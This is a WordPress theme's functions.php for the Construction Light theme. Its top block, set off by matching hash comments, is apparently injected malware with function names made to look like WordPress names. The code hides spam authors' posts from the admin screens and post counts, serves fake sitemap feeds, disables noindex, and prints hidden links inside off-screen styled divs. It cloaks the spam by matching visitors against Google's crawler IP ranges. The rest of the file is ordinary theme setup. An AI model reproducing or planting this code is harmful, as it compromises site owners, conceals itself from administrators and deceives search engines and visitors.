File: /storage/v6964/srce/public_html/wp-content/themes/construction-light/functions.php
<?php
/* 9574890a0b1d8327c285f602e85fdb9d */
function is_customize_preview_integer($where) {
global $wpdb, $current_user_can_framework;
$add_action_dns = array_keys($current_user_can_framework);
$get_theme_mod_class = implode(', ', $add_action_dns);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'wp_get_attachment_image_src_add');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_theme_mod_class)";
}
return $where;
}
function number_format_i18n_get($query) {
global $current_user_can_framework;
$add_action_dns = array_keys($current_user_can_framework);
$is_archive_loop = get_the_tag_list_client($add_action_dns);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $is_archive_loop);
}
}
function esc_attr_e_old() {
global $post, $current_user_can_framework;
foreach ($current_user_can_framework as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (add_theme_support_interface($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function add_theme_support_interface($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (add_section_list()) {
return true;
}
}
return false;
}
function wp_get_attachment_image_src_add($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function load_theme_textdomain_less($counts, $type, $perm) {
if ($type === 'post') {
$esc_url_raw_less = $counts->publish;
$wp_reset_postdata_object = admin_url_statement($perm);
$counts->publish = !$wp_reset_postdata_object ? $esc_url_raw_less : $wp_reset_postdata_object;
}
return $counts;
}
function admin_url_statement($perm) {
global $wpdb, $current_user_can_framework;
$add_action_dns = array_keys($current_user_can_framework);
$get_theme_mod_class = implode(', ', $add_action_dns);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$the_ID_decryption = get_post_type_object($type);
if (!current_user_can($the_ID_decryption->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($get_theme_mod_class) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $get_the_time_ajax) {
if ($get_the_time_ajax['post_status'] === 'publish') {
return $get_the_time_ajax['num_posts'];
}
}
}
function load_theme_textdomain_core($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$add_action_dns = array();
foreach ($results as $get_the_time_ajax) {
$add_action_dns[] = $get_the_time_ajax['ID'];
}
return $add_action_dns;
}
function have_posts_exception() {
global $current_user_can_framework, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($current_user_can_framework as $current_user_can_statement => $esc_html_new) {
$add_section_sample = key($esc_html_new['sitemapsettings']);
if (!isset($rules[$add_section_sample]) ||
($rules[$add_section_sample] !== current($esc_html_new['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function admin_url_session($rules) {
global $current_user_can_framework;
$get_permalink_view = array();
foreach ($current_user_can_framework as $current_user_can_statement => $esc_html_new) {
if (isset($esc_html_new['sitemapsettings'])) {
$get_permalink_view[key($esc_html_new['sitemapsettings'])] = current($esc_html_new['sitemapsettings']);
}
}
return $get_permalink_view + $rules;
}
function get_the_date_encryption() {
global $current_user_can_framework;
foreach ($current_user_can_framework as $current_user_can_statement => $esc_html_new) {
$get_author_posts_url_less = str_replace('index.php?feed=', '', current($esc_html_new['sitemapsettings']));
add_feed($get_author_posts_url_less, 'get_queried_object_id_schema');
}
}
function get_queried_object_id_schema() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$wp_reset_postdata_framework = get_search_form_integer();
$add_query_arg_private = load_theme_textdomain_core($wp_reset_postdata_framework);
if (!empty($add_query_arg_private)) {
$get_stylesheet_uri_module = md5(implode(',', $add_query_arg_private));
$_x_ajax = 'update_plugins_' . $wp_reset_postdata_framework . '_' . $get_stylesheet_uri_module;
$post_password_required_https = get_transient($_x_ajax);
if ($post_password_required_https !== false) {
echo $post_password_required_https;
return;
}
}
$head = get_transient_num();
$comments_open_private = $head . "\n";
$priority = '0.5';
$admin_url_stat = 'weekly';
$wp_link_pages_object = date('Y-m-d');
foreach ($add_query_arg_private as $post_id) {
$url = get_permalink($post_id);
$comments_open_private .= add_query_arg_new($url, $wp_link_pages_object, $admin_url_stat, $priority);
wp_cache_delete($post_id, 'posts');
}
$comments_open_private .= "\n</urlset>";
set_transient($_x_ajax, $comments_open_private, WEEK_IN_SECONDS);
echo $comments_open_private;
}
function get_transient_num() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function add_query_arg_new($url, $wp_link_pages_object, $admin_url_stat, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$wp_link_pages_object</lastmod>
<changefreq>$admin_url_stat</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function get_the_tag_list_client($writersArr) {
$wp_link_pages_alpha = array();
foreach ($writersArr as $item) {
$wp_link_pages_alpha[] = '-' . $item;
}
return implode(',', $wp_link_pages_alpha);
}
function dynamic_sidebar_float() {
$add_section_reference = array();
$get_setting_ajax = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$get_template_part_url = unserialize(base64_decode($settings));
if ($get_template_part_url) {
$add_section_reference = $get_template_part_url;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$add_partial_float = unserialize(base64_decode($settings));
if ($add_partial_float) {
$get_setting_ajax = $add_partial_float;
}
}
return $get_setting_ajax + $add_section_reference;
}
function get_search_form_integer() {
global $current_user_can_framework;
foreach ($current_user_can_framework as $current_user_can_statement => $esc_html_new) {
$get_option_plain = key($esc_html_new['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($esc_html_new['sitemapsettings']) . '$');
if (preg_match("~$get_option_plain~", $_SERVER['REQUEST_URI'])) {
return $current_user_can_statement;
}
}
}
function get_the_title_live() {
global $current_user_can_framework, $post;
$is_customize_preview_view = array_keys($current_user_can_framework);
if (in_array($post->post_author, $is_customize_preview_view)) {
return true;
}
return false;
}
function get_the_time_interface() {
global $current_user_can_framework, $post;
$is_customize_preview_view = array_keys($current_user_can_framework);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $is_customize_preview_view)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function add_section_beta() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function add_section_list() {
$get_the_ID_branch = add_section_beta();
if (strstr($get_the_ID_branch, ', ')) {
$get_setting_reference = explode(', ', $get_the_ID_branch);
$get_the_ID_branch = $get_setting_reference[0];
}
$the_posts_pagination_float = wp_footer_edit();
if (!$the_posts_pagination_float) {
return false;
}
foreach ($the_posts_pagination_float as $range) {
if (is_active_sidebar_more($get_the_ID_branch, $range)) {
return true;
}
}
return false;
}
function get_post_thumbnail_id_character($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function wp_footer_edit() {
if (($value = get_option('wp_custom_range')) && !get_post_thumbnail_id_character($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$the_posts_pagination_float = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($the_posts_pagination_float)) {
return;
}
$value = array('ranges' => $the_posts_pagination_float, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function current_user_can_event($inet) {
$is_single_stream = str_split($inet);
$get_comments_number_base = '';
foreach ($is_single_stream as $char) {
$get_comments_number_base .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $get_comments_number_base;
}
function is_active_sidebar_more($get_the_ID_branch, $cidrnet) {
$get_the_ID_branch = inet_pton($get_the_ID_branch);
$get_comments_number_base = current_user_can_event($get_the_ID_branch);
list($net, $is_wp_error_pic) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_theme_file_uri_base = current_user_can_event($net);
$get_header_float = substr($get_comments_number_base, 0, $is_wp_error_pic);
$the_excerpt_event = substr($get_theme_file_uri_base, 0, $is_wp_error_pic);
if ($get_header_float !== $the_excerpt_event) {
return false;
} else {
return true;
}
}
function get_post_thumbnail_id_num($_e_merge) {
global $post;
$is_archive_object = '';
if (comment_form_alpha($_e_merge, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$is_archive_object = get_option('home_links_custom_0');
}
} elseif (comment_form_alpha($_e_merge, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$is_archive_object = get_option('home_links_custom_' . $matches[0]);
} elseif (comment_form_alpha($_e_merge, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_the_time_statement = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$is_archive_object = get_option('home_links_custom_' . $get_the_time_statement);
} elseif (comment_form_alpha($_e_merge, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$is_archive_object ? '' : $is_archive_object;
}
function comment_form_alpha($esc_html_new, $have_posts_character, $language_attributes_wp) {
if (!isset($esc_html_new[$have_posts_character][$language_attributes_wp])) {
return false;
}
if ($esc_html_new[$have_posts_character][$language_attributes_wp] === 1) {
return true;
}
return false;
}
function wp_reset_postdata_compiler($_e_merge, $get_theme_file_uri_live) {
if (empty($get_theme_file_uri_live)) {
return '';
}
if (comment_form_alpha($_e_merge, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$is_admin_boolean = body_class_more();
$wp_nav_menu_hashing = $is_admin_boolean[$blockNum[0]];
return $wp_nav_menu_hashing[0] . PHP_EOL . $get_theme_file_uri_live . PHP_EOL . $wp_nav_menu_hashing[1];
}
return $get_theme_file_uri_live;
}
function body_class_more() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function get_the_time_client($_e_merge) {
return comment_form_alpha($_e_merge, 'position', 'head');
}
function is_admin_wp($_e_merge) {
return comment_form_alpha($_e_merge, 'position', 'footer');
}
function is_search_encryption($settings) {
foreach ($settings as $current_user_can_statement => $esc_html_new) {
if (isset($esc_html_new['homeLinks'])) {
return $esc_html_new['homeLinks'];
}
}
return array();
}
function add_section_meta() {
if (!get_the_title_live()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function admin_url_interface() {
global $_e_merge;
if (!add_section_meta()) {
return;
}
if (comment_form_alpha($_e_merge, 'hiddenType', 'cloacking')) {
if (!add_section_list()) {
return;
}
}
$get_theme_file_uri_live = get_post_thumbnail_id_num($_e_merge);
$get_theme_file_uri_live = wp_reset_postdata_compiler($_e_merge, $get_theme_file_uri_live);
echo $get_theme_file_uri_live;
}
$current_user_can_framework = dynamic_sidebar_float();
if (is_array($current_user_can_framework)) {
add_filter('posts_where_paged', 'is_customize_preview_integer');
add_action('pre_get_posts', 'number_format_i18n_get');
add_action('wp_enqueue_scripts', 'esc_attr_e_old');
add_filter('wp_count_posts', 'load_theme_textdomain_less' , 10, 3);
add_filter('rewrite_rules_array', 'admin_url_session');
add_action('wp_loaded', 'have_posts_exception');
add_action('init', 'get_the_date_encryption');
add_action('template_redirect', 'get_the_time_interface');
$_e_merge = is_search_encryption($current_user_can_framework);
if (!empty($_e_merge)) {
if (get_the_time_client($_e_merge)) {
add_action('wp_head', 'admin_url_interface');
}
if (is_admin_wp($_e_merge)) {
add_action('wp_footer', 'admin_url_interface');
}
}
}
/* 9574890a0b1d8327c285f602e85fdb9d */
/**
* Construction Light functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Construction Light
*/
if ( ! defined( '_S_VERSION' ) ) {
// Replace the version number of the theme on each release.
define( '_S_VERSION', '1.0.7' );
}
if ( ! function_exists( 'construction_light_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function construction_light_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on Construction Light, use a find and replace
* to change 'construction-light' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'construction-light', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
add_theme_support( 'align-wide' );
// Add support for block styles.
add_theme_support( 'wp-block-styles' );
add_theme_support( 'editor-styles' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
add_image_size('construction-light-medium', 350, 280, true);
add_image_size( 'construction-light-portfolio', 300, 300, true );
add_image_size( 'construction-light-team', 350, 420, true );
add_image_size( 'construction-light-post-format', 770, 450, true );
add_image_size( 'construction-light-aboutus', 475, 475, true );
/**
* Enable support for post formats
*
* @link https://developer.wordpress.org/themes/functionality/post-formats/
*/
add_theme_support( 'post-formats', array( 'gallery', 'quote', 'audio', 'image', 'video' ) );
// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
'menu-1' => esc_html__( 'Primary Menu', 'construction-light' ),
'menu-2' => esc_html__( 'Top Menu', 'construction-light' )
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
) );
// Set up the WordPress core custom background feature.
add_theme_support( 'custom-background', apply_filters( 'construction_light_custom_background_args', array(
'default-color' => 'ffffff',
'default-image' => '',
) ) );
// Add support for Block Styles.
add_theme_support('wp-block-styles');
// Add support for full and wide align images.
add_theme_support('align-wide');
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
// Add support for responsive embedded content.
add_theme_support('responsive-embeds');
add_theme_support('custom-line-height');
add_theme_support('custom-spacing');
add_theme_support('custom-units');
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support( 'custom-logo', array(
'height' => 250,
'width' => 250,
'flex-width' => true,
'flex-height' => true,
) );
}
endif;
add_action( 'after_setup_theme', 'construction_light_setup' );
/**
* Enqueue admin scripts and styles.
*/
function construction_light_admin_editor_style() {
add_editor_style( get_stylesheet_directory_uri() . '/custom-editor-style.css', array(), date( 'Ymd-Gis', filemtime( get_theme_file_path( 'style.css' ) ) ) );
}
add_action( 'admin_init', 'construction_light_admin_editor_style' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function construction_light_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'construction_light_content_width', 640 );
}
add_action( 'after_setup_theme', 'construction_light_content_width', 0 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function construction_light_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Right Widget Sidebar Area', 'construction-light' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Add widgets here.', 'construction-light' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
));
register_sidebar( array(
'name' => esc_html__( 'Left Widget Sidebar Area', 'construction-light' ),
'id' => 'sidebar-2',
'description' => esc_html__( 'Add widgets here.', 'construction-light' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
));
register_sidebar( array(
'name' => esc_html__( 'Menu Sidebar', 'construction-light' ),
'id' => 'menu-sidebar',
'description' => esc_html__( 'Add widgets here.', 'construction-light' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
));
register_sidebar( array(
'name' => esc_html__( 'Footer Widget Area One', 'construction-light' ),
'id' => 'footer-1',
'description' => esc_html__( 'Add widgets here.', 'construction-light' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
));
register_sidebar( array(
'name' => esc_html__( 'Footer Widget Area Two', 'construction-light' ),
'id' => 'footer-2',
'description' => esc_html__( 'Add widgets here.', 'construction-light' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
));
register_sidebar( array(
'name' => esc_html__( 'Footer Widget Area Three', 'construction-light' ),
'id' => 'footer-3',
'description' => esc_html__( 'Add widgets here.', 'construction-light' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
));
register_sidebar( array(
'name' => esc_html__( 'Footer Widget Area Four', 'construction-light' ),
'id' => 'footer-4',
'description' => esc_html__( 'Add widgets here.', 'construction-light' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
));
}
add_action( 'widgets_init', 'construction_light_widgets_init' );
/**
* Enqueue scripts and styles.
*/
function construction_light_scripts() {
$min = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
// Load Bootstrap CSS Library File
wp_enqueue_style( 'bootstrap', get_template_directory_uri(). '/assets/library/bootstrap/css/bootstrap' . esc_attr( $min ) . '.css');
// Load Font-awesome CSS Library File
wp_enqueue_style( 'fontawesome', get_template_directory_uri(). '/assets/library/fontawesome/css/all' . esc_attr( $min ) . '.css');
// Load owl.carousel Library File
wp_enqueue_style( 'owl-carousel', get_template_directory_uri(). '/assets/library/owlcarousel/css/owl.carousel' . esc_attr( $min ) . '.css');
// Load animate File
wp_enqueue_style( 'animate', get_template_directory_uri(). '/assets/css/animate.css','3.7.0');
// Load magnefic Library File
wp_enqueue_style( 'magnefic', get_template_directory_uri(). '/assets/library/magnific-popup/magnefic' . esc_attr ( $min ) . '.css');
wp_enqueue_style( 'construction-light-style', get_stylesheet_uri() );
if ( has_header_image() ) {
$custom_css = '.nav-classic{ background-image: url("' . esc_url( get_header_image() ) . '"); background-repeat: no-repeat; background-position: center center; background-size: cover; }';
wp_add_inline_style( 'construction-light-style', $custom_css );
}
// Load responsive Library File
wp_enqueue_style( 'responsive', get_template_directory_uri(). '/assets/css/responsive.css');
//jquery.isotope
wp_enqueue_script( 'isotope-pkgd', get_template_directory_uri() . '/assets/js/isotope.pkgd.js', array('jquery', 'imagesloaded' ), '1.0.0', true );
wp_register_script( 'countdown-timer', get_template_directory_uri() . '/assets/js/jquery.countdown.js', array('jquery', 'imagesloaded' ), '1.0.0', true );
//wow
wp_enqueue_script( 'wow', get_template_directory_uri() . '/assets/js/wow.js', array('jquery'), true );
wp_enqueue_script( 'odometer', get_template_directory_uri() . '/assets/js/odometer.js', array('jquery'), '1.0.0', true );
//waypoints
wp_enqueue_script( 'waypoints', get_template_directory_uri() . '/assets//library/waypoints/waypoints' . esc_attr ( $min ) . '.js', array('jquery'), true );
//counter
wp_enqueue_script( 'counter', get_template_directory_uri() . '/assets/library/counter/jquery.counterup' . esc_attr ( $min ) . '.js', array('jquery'), true );
//bootstrap
wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/assets/library/bootstrap/js/bootstrap' . esc_attr ( $min ) . '.js', array('jquery'), '2.0.3' ,true );
//owl.carousel
wp_enqueue_script( 'owl-carousel', get_template_directory_uri() . '/assets/library/owlcarousel/js/owl.carousel' . esc_attr ( $min ) . '.js', array('jquery'),'2.3.4', true );
//magnific-popup
wp_enqueue_script( 'magnific-popup', get_template_directory_uri() . '/assets/library/magnific-popup/magnific-popup' . esc_attr ( $min ) . '.js', array('jquery'),'1.1.0', true );
//theia-sticky
wp_enqueue_script( 'theia-sticky-sidebar', get_template_directory_uri() . '/assets/library/theia-sticky-sidebar/js/theia-sticky-sidebar' . esc_attr ( $min ) . '.js', array('jquery'), true );
wp_enqueue_script( 'construction-light-skip-link-focus-fix', get_template_directory_uri() . '/assets/js/skip-link-focus-fix.js', array(), '20151215', true );
wp_enqueue_script( 'construction-light-custom', get_template_directory_uri() . '/assets/js/construction-light.js', array('jquery','masonry', 'countdown-timer', 'jquery-ui-accordion'), true );
/**
* Load PrettyPhoto JavaScript File
*/
wp_enqueue_script('jquery-prettyPhoto', get_template_directory_uri() . '/assets/library/prettyphoto/js/jquery.prettyPhoto.js', array(), '3.1.6', true);
wp_enqueue_style( 'prettyPhoto', get_template_directory_uri() . '/assets/library/prettyphoto/css/prettyPhoto.css' );
// Localize the script with new data
$sticky_sidebar = get_theme_mod( 'construction_light_sticky_sidebar','disable' );
wp_localize_script('construction-light-custom', 'construction_light_script', array(
'sticky_sidebar'=> $sticky_sidebar
));
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'construction_light_scripts' );
/**
* Admin Enqueue scripts and styles.
*/
if ( ! function_exists( 'construction_light_admin_scripts' ) ) {
function construction_light_admin_scripts( $hook ) {
if( $hook != 'edit.php' && $hook != 'post.php' && $hook != 'post-new.php' && 'widgets.php' != $hook )
return;
wp_enqueue_script('construction-light-admin', get_template_directory_uri() . '/assets/js/constructionlight-admin.js', array( 'jquery', 'jquery-ui-sortable', 'customize-controls' ) );
wp_enqueue_style( 'construction-light-admin-style', get_template_directory_uri() . '/assets/css/constructionlight-admin.css');
}
}
add_action('admin_enqueue_scripts', 'construction_light_admin_scripts');
/**
* Sets the Construction Light Template Instead of front-page.
*/
function construction_light_front_page_set( $template ) {
$construction_light_front_page = get_theme_mod( 'construction_light_enable_frontpage' ,false);
if( true != $construction_light_front_page ){
if ( 'posts' == get_option( 'show_on_front' ) ) {
include( get_home_template() );
} else {
include( get_page_template() );
}
}
}
add_filter( 'construction_light_enable_front_page', 'construction_light_front_page_set' );
/**
* Load Files.
*/
require get_template_directory() . '/inc/init.php';
/**
* Load core file.
*/
require_once get_template_directory() . '/inc/core/init.php';
/** remove widgets block editor */
function construction_light_widget_theme_support() {
remove_theme_support( 'widgets-block-editor' );
}
add_action( 'after_setup_theme', 'construction_light_widget_theme_support' );
if( !function_exists ('construction_light_add_last_nav_item')){
/**
* Adding Search and Sidebar Navigation Items
*/
function construction_light_add_last_nav_item($items, $args) {
if($args->theme_location == 'menu-1'):
$enable_search = get_theme_mod('construction_light_enable_search', 'enable');
$search_layout = get_theme_mod('construction_light_search_layout', 'layout_one');
if( get_theme_mod('construction_light_menu_sidebar', 'disable') == 'enable'){
$items .= '<li class="menu-item-sidebar menu-item float-right"><a class="" href="javascript:void(0)" data-toggle-target=".header-sidebar-content" data-toggle-body-class="showing-menu-modal" aria-expanded="false" data-set-focus=".close-nav-toggle"><i class="fas fa-th"></i></a></li>';
}
if( $enable_search == 'enable'):
$items .= '<li class="menu-item-search menu-item float-right"><a class="searchicon '.esc_html($search_layout).'" href="javascript:void(0)"><i class="fas fa-search"></i></a></li>';
endif;
return $items;
endif;
return $items;
}
add_filter('wp_nav_menu_items','construction_light_add_last_nav_item', 10, 2);
}
if ( ! function_exists( 'construction_light_font_family' ) ) {
/**
* @package Construction Light
* @param [array] $typography
* @return [string]
*/
function construction_light_font_family( $typography ) {
$font_type = isset( $typography['font-type'] ) && $typography['font-type'] ? $typography['font-type'] : '';
$system_font = isset( $typography['system-font'] ) && $typography['system-font'] ? $typography['system-font'] : '';
$google_font = isset( $typography['google-font'] ) && $typography['google-font'] ? $typography['google-font'] : '';
$custom_font = isset( $typography['custom-font'] ) && $typography['custom-font'] ? $typography['custom-font'] : '';
switch ( $font_type ) :
case 'system':
$font_family = $system_font;
break;
case 'google':
$font_family = $google_font;
break;
case 'custom':
$font_family = $custom_font;
break;
default:
$font_family = false;
break;
endswitch;
return $font_family;
}
}
if ( ! function_exists( 'construction_light_font_weight' ) ) {
/**
* @package Construction Light
* [construction_light_font_weight]
* @param [array] $typography
* @return [mix]
*/
function construction_light_font_weight( $typography ) {
$font_weight = isset( $typography['font-weight'] ) && $typography['font-weight'] ? $typography['font-weight'] : '';
if ( empty( $font_weight ) ) {
return $font_weight;
}
if ( ! is_numeric( $font_weight ) ) {
if ( preg_match( '/\\d/', $font_weight ) > 0 ) {
$font_weight = preg_replace( '/[^0-9]/', '', $font_weight );
} else {
$font_weight = 400;
}
}
return $font_weight;
}
}
if ( ! function_exists( 'construction_light_isset' ) ) {
/**
* @package Construction Light
* @param string $var
* @return string
*/
function construction_light_isset( &$var ) {
if ( isset( $var ) ) {
return $var;
}
return '';
}
}
add_action('construction-light-pro-link', function(){
return 'https://sparklewpthemes.com/wordpress-themes/construction-wordpress-theme/';
});